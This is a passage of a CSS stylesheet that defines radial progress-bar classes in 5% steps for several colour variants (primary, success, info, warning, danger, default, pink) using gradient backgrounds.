  content: attr(data-label);
  background-color: #fff;
  z-index: 55;
}
.radial-bar > img {
  z-index: 102;
}
.radial-bar:after,
.radial-bar > img {
  width: 56px;
  height: 56px;
  margin-left: 12px;
  margin-top: 12px;
  line-height: 56px;
}

.radial-bar.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar.radial-bar-50 {
  background-image: linear-gradient(270deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar.radial-bar-55 {
  background-image: linear-gradient(288deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar.radial-bar-60 {
  background-image: linear-gradient(306deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar.radial-bar-65 {
  background-image: linear-gradient(324deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar.radial-bar-70 {
  background-image: linear-gradient(342deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar.radial-bar-75 {
  background-image: linear-gradient(360deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar.radial-bar-80 {
  background-image: linear-gradient(378deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar.radial-bar-85 {
  background-image: linear-gradient(396deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar.radial-bar-90 {
  background-image: linear-gradient(414deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar.radial-bar-95 {
  background-image: linear-gradient(432deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar.radial-bar-100 {
  background-image: linear-gradient(450deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-primary.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-primary.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-primary.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-primary.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-primary.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-primary.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-primary.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-primary.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-primary.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-primary.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-primary.radial-bar-50 {
  background-image: linear-gradient(270deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-primary.radial-bar-55 {
  background-image: linear-gradient(288deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-primary.radial-bar-60 {
  background-image: linear-gradient(306deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-primary.radial-bar-65 {
  background-image: linear-gradient(324deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-primary.radial-bar-70 {
  background-image: linear-gradient(342deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-primary.radial-bar-75 {
  background-image: linear-gradient(360deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-primary.radial-bar-80 {
  background-image: linear-gradient(378deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-primary.radial-bar-85 {
  background-image: linear-gradient(396deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-primary.radial-bar-90 {
  background-image: linear-gradient(414deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-primary.radial-bar-95 {
  background-image: linear-gradient(432deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-primary.radial-bar-100 {
  background-image: linear-gradient(450deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-success.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-success.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-success.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-success.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-success.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-success.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-success.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-success.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-success.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-success.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-success.radial-bar-50 {
  background-image: linear-gradient(270deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-success.radial-bar-55 {
  background-image: linear-gradient(288deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-success.radial-bar-60 {
  background-image: linear-gradient(306deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-success.radial-bar-65 {
  background-image: linear-gradient(324deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-success.radial-bar-70 {
  background-image: linear-gradient(342deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-success.radial-bar-75 {
  background-image: linear-gradient(360deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-success.radial-bar-80 {
  background-image: linear-gradient(378deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-success.radial-bar-85 {
  background-image: linear-gradient(396deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-success.radial-bar-90 {
  background-image: linear-gradient(414deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-success.radial-bar-95 {
  background-image: linear-gradient(432deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-success.radial-bar-100 {
  background-image: linear-gradient(450deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-info.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-info.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-info.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-info.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-info.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-info.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-info.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-info.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-info.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-info.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-info.radial-bar-50 {
  background-image: linear-gradient(270deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-info.radial-bar-55 {
  background-image: linear-gradient(288deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-info.radial-bar-60 {
  background-image: linear-gradient(306deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-info.radial-bar-65 {
  background-image: linear-gradient(324deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-info.radial-bar-70 {
  background-image: linear-gradient(342deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-info.radial-bar-75 {
  background-image: linear-gradient(360deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-info.radial-bar-80 {
  background-image: linear-gradient(378deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-info.radial-bar-85 {
  background-image: linear-gradient(396deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-info.radial-bar-90 {
  background-image: linear-gradient(414deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-info.radial-bar-95 {
  background-image: linear-gradient(432deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-info.radial-bar-100 {
  background-image: linear-gradient(450deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-warning.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-warning.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-warning.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-warning.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-warning.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-warning.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-warning.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-warning.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-warning.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-warning.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-warning.radial-bar-50 {
  background-image: linear-gradient(270deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-warning.radial-bar-55 {
  background-image: linear-gradient(288deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-warning.radial-bar-60 {
  background-image: linear-gradient(306deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-warning.radial-bar-65 {
  background-image: linear-gradient(324deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-warning.radial-bar-70 {
  background-image: linear-gradient(342deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-warning.radial-bar-75 {
  background-image: linear-gradient(360deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-warning.radial-bar-80 {
  background-image: linear-gradient(378deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-warning.radial-bar-85 {
  background-image: linear-gradient(396deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-warning.radial-bar-90 {
  background-image: linear-gradient(414deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-warning.radial-bar-95 {
  background-image: linear-gradient(432deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-warning.radial-bar-100 {
  background-image: linear-gradient(450deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-danger.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #e53935 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-danger.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #e53935 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-danger.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #e53935 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-danger.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #e53935 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-danger.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #e53935 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-danger.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #e53935 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-danger.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #e53935 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-danger.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #e53935 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-danger.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #e53935 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-danger.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #e53935 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-danger.radial-bar-50 {
  background-image: linear-gradient(270deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-danger.radial-bar-55 {
  background-image: linear-gradient(288deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-danger.radial-bar-60 {
  background-image: linear-gradient(306deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-danger.radial-bar-65 {
  background-image: linear-gradient(324deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-danger.radial-bar-70 {
  background-image: linear-gradient(342deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-danger.radial-bar-75 {
  background-image: linear-gradient(360deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-danger.radial-bar-80 {
  background-image: linear-gradient(378deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-danger.radial-bar-85 {
  background-image: linear-gradient(396deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-danger.radial-bar-90 {
  background-image: linear-gradient(414deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-danger.radial-bar-95 {
  background-image: linear-gradient(432deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-danger.radial-bar-100 {
  background-image: linear-gradient(450deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6);
}


/* -- Radial Default -- */
.radial-bar-default.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-default.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-default.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-default.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-default.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-default.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-default.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-default.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-default.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-default.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-default.radial-bar-50 {
  background-image: linear-gradient(270deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-default.radial-bar-55 {
  background-image: linear-gradient(288deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-default.radial-bar-60 {
  background-image: linear-gradient(306deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-default.radial-bar-65 {
  background-image: linear-gradient(324deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-default.radial-bar-70 {
  background-image: linear-gradient(342deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-default.radial-bar-75 {
  background-image: linear-gradient(360deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-default.radial-bar-80 {
  background-image: linear-gradient(378deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-default.radial-bar-85 {
  background-image: linear-gradient(396deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-default.radial-bar-90 {
  background-image: linear-gradient(414deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-default.radial-bar-95 {
  background-image: linear-gradient(432deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-default.radial-bar-100 {
  background-image: linear-gradient(450deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6);
}



/* -- Radial Pink -- */
.radial-bar-pink.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-pink.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-pink.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-pink.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-pink.radial-bar-20 {
